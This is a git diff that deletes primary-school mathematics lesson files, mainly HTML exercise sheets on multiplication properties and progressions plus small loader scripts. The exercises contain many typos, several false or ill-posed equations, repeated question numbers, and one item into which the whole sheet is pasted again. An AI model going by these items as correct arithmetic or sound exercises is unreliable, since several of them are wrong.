- <br />
- a. 7*(2+4)=7*2+7*a
- <br />
- b. 8*5+8*3=8*(a+3)
- <br />
- c. 9*8-8*5=a*(9-5)
- <br />
- d. 9*(15-5)=15*15-9*5
- <br />
- <br />
- 6. By the distributive property, find the value of the following:
- <br />
- <br />
- a. 5*20-5*15=
- <br />
- b. 10*9+8*3=
- <br />
- c. 9*8-8*5=
- <br />
- d. 17*17-17*10=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a03/description.py b/Save_Mathematics/P6/map611m06/map611m06a03/description.py
deleted file mode 100644
index a5a9d56..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m06a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m06/map611m06a03/lesson.js b/Save_Mathematics/P6/map611m06/map611m06a03/lesson.js
deleted file mode 100644
index 6f99824..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m06/map611m06a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m06/map611m06a03/source.txt b/Save_Mathematics/P6/map611m06/map611m06a03/source.txt
deleted file mode 100644
index f12588f..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a03/source.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-<p>
- <strong>
-  Independent Practice
- </strong>
-</p>
-<p>
- 1. Multiply the following:
-</p>
-<p>
- a.
- <br />
- &nbsp;2402
- <br />
- <span style="text-decoration: underline;">
-  * 9
- </span>
- <br />
- <br />
- <br />
- b.
- <br />
- &nbsp;9682
- <br />
- <span style="text-decoration: underline;">
-  * 72
- </span>
- <br />
- <br />
- <br />
- c.
- <br />
- &nbsp;84208
- <br />
- <span style="text-decoration: underline;">
-  * 403
- </span>
- <br />
- <br />
- 2. With the commutative property of multiplication, complete the following:
- <br />
- <br />
- a. 105*........=29*105
- <br />
- b. 392*16=16*.......
- <br />
- c. 79*69=.......*79
- <br />
- d. 265*......=29*265
- <br />
- <br />
- 3. By taking two umbers groupe these numbers in different arrangements:
- <br />
- <br />
- a. 7*9*3=
- <br />
- b. (13*11)*15=
- <br />
- <br />
- 4. By using the associative property of muliplication, fill in the blank with the missing number the following:
- <br />
- <br />
- a. (9*4)*5=(........*5)*4
- <br />
- b. (10*11)*9=(.......*10)*11
- <br />
- c. 15*(7*40)=15*40*.........
- <br />
- d. (41*........)*4=41*(3*4)
- <br />
- <br />
- 5. Give the value of a in each of the following:
- <br />
- <br />
- a. 7*(2+4)=7*2+7*a
- <br />
- b. 8*5+8*3=8*(a+3)
- <br />
- c. 9*8-8*5=a*(9-5)
- <br />
- d. 9*(15-5)=15*15-9*5
- <br />
- <br />
- 6. By the distributive property, find the value of the following:
- <br />
- <br />
- a. 5*20-5*15=
- <br />
- b. 10*9+8*3=
- <br />
- c. 9*8-8*5=
- <br />
- d. 17*17-17*10=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a04/a.txt b/Save_Mathematics/P6/map611m06/map611m06a04/a.txt
deleted file mode 100644
index c918429..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a04/a.txt
+++ /dev/null
@@ -1,73 +0,0 @@
-<p>
- <strong>
-  EVALUATION
- </strong>
-</p>
-<p>
- 1. What is the pproduct of 6432 and 956
- <br />
- 2. Multiply 6430 by 546
- <br />
- <br />
- 3. 24012
- <br />
- <span style="text-decoration: underline;">
-  * 64
- </span>
- <br />
- <br />
- <br />
- 4. 68034
- <br />
- <span style="text-decoration: underline;">
-  *247
- </span>
- <br />
- <br />
- 5. Apply the commutative property of multiplication, to complete the following:
- <br />
- <br />
- a. 69*.....=129*69
- <br />
- b. .....*72=72*719
- <br />
- c. 36*76=.......*36
- <br />
- d. 432*.......=15*432
- <br />
- <br />
- 6. Fill in the blnk below to by using the appropriate number:
- <br />
- <br />
- a. (13*7)*14=(13*......)*7
- <br />
- b. (11*14)*17=11*(.....*14)
- <br />
- c. (13*7)*9=(......*7)*13
- <br />
- d. (20*5)*......=20*(6*4)
- <br />
- e. (......*4)*15=(4*15)*7
- <br />
- f. (17*21)*.......=(11*17)*21
- <br />
- <br />
- 7. Find the value of x
- <br />
- <br />
- a. 12*(6+4)=(12*x)+(12*4)
- <br />
- b. 21*(x-3)=21*6-21*3
- <br />
- <br />
- 7. By the distributive property, find the value of the following.
- <br />
- <br />
- a. 25*(4+5)=
- <br />
- b. 52*(8-3)=
- <br />
- c. 14*15+14*18=
- <br />
- d. 17*19-17*17=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a04/description.py b/Save_Mathematics/P6/map611m06/map611m06a04/description.py
deleted file mode 100644
index 330e906..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m06a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m06/map611m06a04/lesson.js b/Save_Mathematics/P6/map611m06/map611m06a04/lesson.js
deleted file mode 100644
index 9e44c2c..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m06/map611m06a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m06/map611m06a04/source.txt b/Save_Mathematics/P6/map611m06/map611m06a04/source.txt
deleted file mode 100644
index c918429..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a04/source.txt
+++ /dev/null
@@ -1,73 +0,0 @@
-<p>
- <strong>
-  EVALUATION
- </strong>
-</p>
-<p>
- 1. What is the pproduct of 6432 and 956
- <br />
- 2. Multiply 6430 by 546
- <br />
- <br />
- 3. 24012
- <br />
- <span style="text-decoration: underline;">
-  * 64
- </span>
- <br />
- <br />
- <br />
- 4. 68034
- <br />
- <span style="text-decoration: underline;">
-  *247
- </span>
- <br />
- <br />
- 5. Apply the commutative property of multiplication, to complete the following:
- <br />
- <br />
- a. 69*.....=129*69
- <br />
- b. .....*72=72*719
- <br />
- c. 36*76=.......*36
- <br />
- d. 432*.......=15*432
- <br />
- <br />
- 6. Fill in the blnk below to by using the appropriate number:
- <br />
- <br />
- a. (13*7)*14=(13*......)*7
- <br />
- b. (11*14)*17=11*(.....*14)
- <br />
- c. (13*7)*9=(......*7)*13
- <br />
- d. (20*5)*......=20*(6*4)
- <br />
- e. (......*4)*15=(4*15)*7
- <br />
- f. (17*21)*.......=(11*17)*21
- <br />
- <br />
- 7. Find the value of x
- <br />
- <br />
- a. 12*(6+4)=(12*x)+(12*4)
- <br />
- b. 21*(x-3)=21*6-21*3
- <br />
- <br />
- 7. By the distributive property, find the value of the following.
- <br />
- <br />
- a. 25*(4+5)=
- <br />
- b. 52*(8-3)=
- <br />
- c. 14*15+14*18=
- <br />
- d. 17*19-17*17=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a05/a.txt b/Save_Mathematics/P6/map611m06/map611m06a05/a.txt
deleted file mode 100644
index f639d49..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a05/a.txt
+++ /dev/null
@@ -1,199 +0,0 @@
-<p>
- <strong>
-  REMEDIAL
- </strong>
-</p>
-<p>
- 1. Fill the follwing multiplication table:
- <br />
- <br />
-</p>
-<table style="width: 223px; height: 127px;" border="1">
- <tbody>
-  <tr>
-   <td width="17%" valign="top">
-    *
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    45
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- 2. Multiply the following:
- <br />
- <br />
- a. 57786
- <br />
- <span style="text-decoration: underline;">
-  *45
- </span>
- <br />
- <br />
- b. 49485
- <br />
- <span style="text-decoration: underline;">
-  * 329
- </span>
- <br />
- <br />
- 3. Multiply the following:
- <br />
- <br />
- a. 75*6=
- <br />
- b. 6*75=
- <br />
- c. 36*9=
- <br />
- d. 9*36=
- <br />
- <br />
- 4. Find the missing numer
- <br />
- <br />
- a. 932*......=79*932
- <br />
- b. .......*59=59*69
- <br />
- c. 68*86=.......*68
- <br />
- d. 73*37=37*......
- <br />
- <br />
- 5. Write the answer of the following in the different arrangiments:
- <br />
- <br />
- a. 4*7*9=
- <br />
- b. 9*7*4=
- <br />
- c. 7*4*9=
- <br />
- d. (4*7)*9=
- <br />
- e. 4*(7*9)=
- <br />
- f. (4*9)*7=
- <br />
- <br />
- 6. By using the associative property, fill wiith the missing number the following:
- <br />
- <br />
- a. 12*15*25=(25*......)*15
- <br />
- b. 25*(.....*14)=39*(25*14)
- <br />
- <br />
- 7. Fill with the missing number
- <br />
- a. 53+....=21+53
- <br />
- b. 81*10=.....*81
- <br />
- <br />
- 8. Group the following to make the associative property:
- <br />
- a. 4+(7+9)=
- <br />
- b. (14*17)*19=
- <br />
- <br />
- 9. Find the value of x
- <br />
- a. 31*(7+3)=31*7+31*x
- <br />
- b. 50*(9-x)=50*9-50*8
- <br />
- <br />
- 8. By the distributive property, find the value of the following:
- <br />
- a. 45*(2+6)=
- <br />
- b. 16*5-16*4=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a05/description.py b/Save_Mathematics/P6/map611m06/map611m06a05/description.py
deleted file mode 100644
index 374a891..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m06a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m06/map611m06a05/lesson.js b/Save_Mathematics/P6/map611m06/map611m06a05/lesson.js
deleted file mode 100644
index 0068e57..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m06/map611m06a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m06/map611m06a05/source.txt b/Save_Mathematics/P6/map611m06/map611m06a05/source.txt
deleted file mode 100644
index f639d49..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a05/source.txt
+++ /dev/null
@@ -1,199 +0,0 @@
-<p>
- <strong>
-  REMEDIAL
- </strong>
-</p>
-<p>
- 1. Fill the follwing multiplication table:
- <br />
- <br />
-</p>
-<table style="width: 223px; height: 127px;" border="1">
- <tbody>
-  <tr>
-   <td width="17%" valign="top">
-    *
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    45
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- 2. Multiply the following:
- <br />
- <br />
- a. 57786
- <br />
- <span style="text-decoration: underline;">
-  *45
- </span>
- <br />
- <br />
- b. 49485
- <br />
- <span style="text-decoration: underline;">
-  * 329
- </span>
- <br />
- <br />
- 3. Multiply the following:
- <br />
- <br />
- a. 75*6=
- <br />
- b. 6*75=
- <br />
- c. 36*9=
- <br />
- d. 9*36=
- <br />
- <br />
- 4. Find the missing numer
- <br />
- <br />
- a. 932*......=79*932
- <br />
- b. .......*59=59*69
- <br />
- c. 68*86=.......*68
- <br />
- d. 73*37=37*......
- <br />
- <br />
- 5. Write the answer of the following in the different arrangiments:
- <br />
- <br />
- a. 4*7*9=
- <br />
- b. 9*7*4=
- <br />
- c. 7*4*9=
- <br />
- d. (4*7)*9=
- <br />
- e. 4*(7*9)=
- <br />
- f. (4*9)*7=
- <br />
- <br />
- 6. By using the associative property, fill wiith the missing number the following:
- <br />
- <br />
- a. 12*15*25=(25*......)*15
- <br />
- b. 25*(.....*14)=39*(25*14)
- <br />
- <br />
- 7. Fill with the missing number
- <br />
- a. 53+....=21+53
- <br />
- b. 81*10=.....*81
- <br />
- <br />
- 8. Group the following to make the associative property:
- <br />
- a. 4+(7+9)=
- <br />
- b. (14*17)*19=
- <br />
- <br />
- 9. Find the value of x
- <br />
- a. 31*(7+3)=31*7+31*x
- <br />
- b. 50*(9-x)=50*9-50*8
- <br />
- <br />
- 8. By the distributive property, find the value of the following:
- <br />
- a. 45*(2+6)=
- <br />
- b. 16*5-16*4=
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a06/a.txt b/Save_Mathematics/P6/map611m06/map611m06a06/a.txt
deleted file mode 100644
index 46ce392..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a06/a.txt
+++ /dev/null
@@ -1,182 +0,0 @@
-<p>
- Enrichment
-</p>
-<p>
- 1. Find the missing digit
- <br />
- <br />
- a. 6952
- <br />
- <span style="text-decoration: underline;">
-  *72
- </span>
- <br />
- 1...9...4
- <br />
- <span style="text-decoration: underline;">
-  +...6...4
- </span>
- <br />
- 5..0..4..4
- <br />
- <br />
- b. 48343
- <br />
- <span style="text-decoration: underline;">
-  *168
- </span>
- <br />
- 3..6..4..
- <br />
- +2..00...8
- <br />
- <span style="text-decoration: underline;">
-  4..3..3
- </span>
- <br />
- ..1..1..2..
- <br />
- <br />
- 2. Find the missing numbers in the table below:
- <br />
- <br />
-</p>
-<table style="width: 325px; height: 132px;" border="1">
- <tbody>
-  <tr>
-   <td width="20%" valign="top">
-    *
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    216
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    392
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    597
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    6789
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    1728
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    61101
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    4704
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    25
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    14925
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 3. If at a given school we have 47 classes and each class has 45 students, how many students are there?
- <br />
- <br />
- 4. A kilogram of rice is sol about 570 francs in a market. How much will pay for 7 987 505 kilograms?
- <br />
- <br />
- 5. One laptop costs 47 000 francs How much 459763 laptops will cost?
- <br />
- <br />
- 6. Write true or false.1. Find the missing digit  a. 6952 *72 1...9...4 +...6...4 5..0..4..4  b. 48343 *168 3..6..4.. +2..00...8 4..3..3 ..1..1..2..  2. Find the missing numbers in the table below:  * 	216 	392 	597 	6789 8 	1728 	 	 	 9 	 	 	 	61101 12 	 	4704 	 	 25 	 	 	14925 	  3. If at a given school we have 47 classes and each clas s has 45 students, how many students are there?  4. A kilogram of rice is sol about 570 francs in a market. How much will  pay for 7 987 505 kilograms?  5. One laptop costs 47 000 francs How much 459763 laptops will cost?  6. Write true or false. a. 109*9 and 49*109 are equal. b. 910*94 and 94*910 are equal. c. Multtiplication is a commutative operation.  7. Writte true or false. a. 12*(10-5)=12*10-5*12 b. 12*(16+14)=12*14+16*12 c. 35*14+35*5=35*(14+5) d. 12*10-12*5=50 e. 14*17+14*19=19*(17+14)
- <br />
- a. 109*9 and 49*109 are equal.
- <br />
- b. 910*94 and 94*910 are equal.
- <br />
- c. Multtiplication is a commutative operation.
- <br />
- <br />
- 7. Writte true or false.
- <br />
- a. 12*(10-5)=12*10-5*12
- <br />
- b. 12*(16+14)=12*14+16*12
- <br />
- c. 35*14+35*5=35*(14+5)
- <br />
- d. 12*10-12*5=50
- <br />
- e. 14*17+14*19=19*(17+14)
- <br />
- <br />
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m06/map611m06a06/description.py b/Save_Mathematics/P6/map611m06/map611m06a06/description.py
deleted file mode 100644
index e6aae7c..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m06a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m06/map611m06a06/lesson.js b/Save_Mathematics/P6/map611m06/map611m06a06/lesson.js
deleted file mode 100644
index 6dcac79..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m06/map611m06a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m06/map611m06a06/source.txt b/Save_Mathematics/P6/map611m06/map611m06a06/source.txt
deleted file mode 100644
index 46ce392..0000000
--- a/Save_Mathematics/P6/map611m06/map611m06a06/source.txt
+++ /dev/null
@@ -1,182 +0,0 @@
-<p>
- Enrichment
-</p>
-<p>
- 1. Find the missing digit
- <br />
- <br />
- a. 6952
- <br />
- <span style="text-decoration: underline;">
-  *72
- </span>
- <br />
- 1...9...4
- <br />
- <span style="text-decoration: underline;">
-  +...6...4
- </span>
- <br />
- 5..0..4..4
- <br />
- <br />
- b. 48343
- <br />
- <span style="text-decoration: underline;">
-  *168
- </span>
- <br />
- 3..6..4..
- <br />
- +2..00...8
- <br />
- <span style="text-decoration: underline;">
-  4..3..3
- </span>
- <br />
- ..1..1..2..
- <br />
- <br />
- 2. Find the missing numbers in the table below:
- <br />
- <br />
-</p>
-<table style="width: 325px; height: 132px;" border="1">
- <tbody>
-  <tr>
-   <td width="20%" valign="top">
-    *
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    216
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    392
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    597
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    6789
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    1728
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    61101
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    4704
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    25
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    14925
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 3. If at a given school we have 47 classes and each class has 45 students, how many students are there?
- <br />
- <br />
- 4. A kilogram of rice is sol about 570 francs in a market. How much will pay for 7 987 505 kilograms?
- <br />
- <br />
- 5. One laptop costs 47 000 francs How much 459763 laptops will cost?
- <br />
- <br />
- 6. Write true or false.1. Find the missing digit  a. 6952 *72 1...9...4 +...6...4 5..0..4..4  b. 48343 *168 3..6..4.. +2..00...8 4..3..3 ..1..1..2..  2. Find the missing numbers in the table below:  * 	216 	392 	597 	6789 8 	1728 	 	 	 9 	 	 	 	61101 12 	 	4704 	 	 25 	 	 	14925 	  3. If at a given school we have 47 classes and each clas s has 45 students, how many students are there?  4. A kilogram of rice is sol about 570 francs in a market. How much will  pay for 7 987 505 kilograms?  5. One laptop costs 47 000 francs How much 459763 laptops will cost?  6. Write true or false. a. 109*9 and 49*109 are equal. b. 910*94 and 94*910 are equal. c. Multtiplication is a commutative operation.  7. Writte true or false. a. 12*(10-5)=12*10-5*12 b. 12*(16+14)=12*14+16*12 c. 35*14+35*5=35*(14+5) d. 12*10-12*5=50 e. 14*17+14*19=19*(17+14)
- <br />
- a. 109*9 and 49*109 are equal.
- <br />
- b. 910*94 and 94*910 are equal.
- <br />
- c. Multtiplication is a commutative operation.
- <br />
- <br />
- 7. Writte true or false.
- <br />
- a. 12*(10-5)=12*10-5*12
- <br />
- b. 12*(16+14)=12*14+16*12
- <br />
- c. 35*14+35*5=35*(14+5)
- <br />
- d. 12*10-12*5=50
- <br />
- e. 14*17+14*19=19*(17+14)
- <br />
- <br />
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/activities.js b/Save_Mathematics/P6/map611m07/activities.js
deleted file mode 100755
index 96ba210..0000000
--- a/Save_Mathematics/P6/map611m07/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m07a01','blue'],
-['2','2','map6','basic','map611m07a02','blue'],
-['3','3','map6','basic','map611m07a03','blue'],
-['4','4','map6','basic','map611m07a04','blue'],
-['5','5','map6','basic','map611m07a05','blue'],
-['6','6','map6','basic','map611m07a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m07/map611m07a01/a.txt b/Save_Mathematics/P6/map611m07/map611m07a01/a.txt
deleted file mode 100644
index dd55671..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a01/a.txt
+++ /dev/null
@@ -1,31 +0,0 @@
-<p>
- <span style="font-weight: bold; text-decoration: underline;">
-  Introduction
-  <br />
-  <br />
- </span>
- In the classroom the teacher can give two marks for each student for example in Mathemmatics course. In this way, the marks remain the same. In the familly if we hve 30 litres of uice and we use 3 litres every day, those trhee litres will be contant, we justly have to subract. those are doing in arithmetic progression.
- <span style="font-weight: bold; text-decoration: underline;">
-  <br />
-  <br />
- </span>
-</p>
-<div style="text-align: left;">
- In addition, in geometric progression, we use it by multiplying the multiplicand by the samemultiplier, we start from smalleest to the bihggestm and then when we divide a number by the sme number progressive, you are starting from the biggest to the smallest.
- <br />
- <br />
- In this milstone, we will learn arthmetic progression byadding or by subracting, while you will also learn geometric progressio by muultiplying or by dividing.
- <br />
- <br />
- Pay attention for the following examples:
- <br />
- <br />
- <ul>
-  <li>
-   A taxi driver used 150lites of fuel monthly. If he use 5 litres of fuel from Monday to sunday, how many litres remained every day?
-  </li>
-  <li>
-   John starteed working with 12,500F if he got 5000F every day from Monday tto Friay, hoow much money willl he get every day altoogether?
-  </li>
- </ul>
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a01/description.py b/Save_Mathematics/P6/map611m07/map611m07a01/description.py
deleted file mode 100644
index 6cc2c9b..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m07a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a01/lesson.js b/Save_Mathematics/P6/map611m07/map611m07a01/lesson.js
deleted file mode 100644
index e201793..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m07/map611m07a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m07/map611m07a01/source.txt b/Save_Mathematics/P6/map611m07/map611m07a01/source.txt
deleted file mode 100644
index dd55671..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a01/source.txt
+++ /dev/null
@@ -1,31 +0,0 @@
-<p>
- <span style="font-weight: bold; text-decoration: underline;">
-  Introduction
-  <br />
-  <br />
- </span>
- In the classroom the teacher can give two marks for each student for example in Mathemmatics course. In this way, the marks remain the same. In the familly if we hve 30 litres of uice and we use 3 litres every day, those trhee litres will be contant, we justly have to subract. those are doing in arithmetic progression.
- <span style="font-weight: bold; text-decoration: underline;">
-  <br />
-  <br />
- </span>
-</p>
-<div style="text-align: left;">
- In addition, in geometric progression, we use it by multiplying the multiplicand by the samemultiplier, we start from smalleest to the bihggestm and then when we divide a number by the sme number progressive, you are starting from the biggest to the smallest.
- <br />
- <br />
- In this milstone, we will learn arthmetic progression byadding or by subracting, while you will also learn geometric progressio by muultiplying or by dividing.
- <br />
- <br />
- Pay attention for the following examples:
- <br />
- <br />
- <ul>
-  <li>
-   A taxi driver used 150lites of fuel monthly. If he use 5 litres of fuel from Monday to sunday, how many litres remained every day?
-  </li>
-  <li>
-   John starteed working with 12,500F if he got 5000F every day from Monday tto Friay, hoow much money willl he get every day altoogether?
-  </li>
- </ul>
-</div>
-\ No newline at end of file
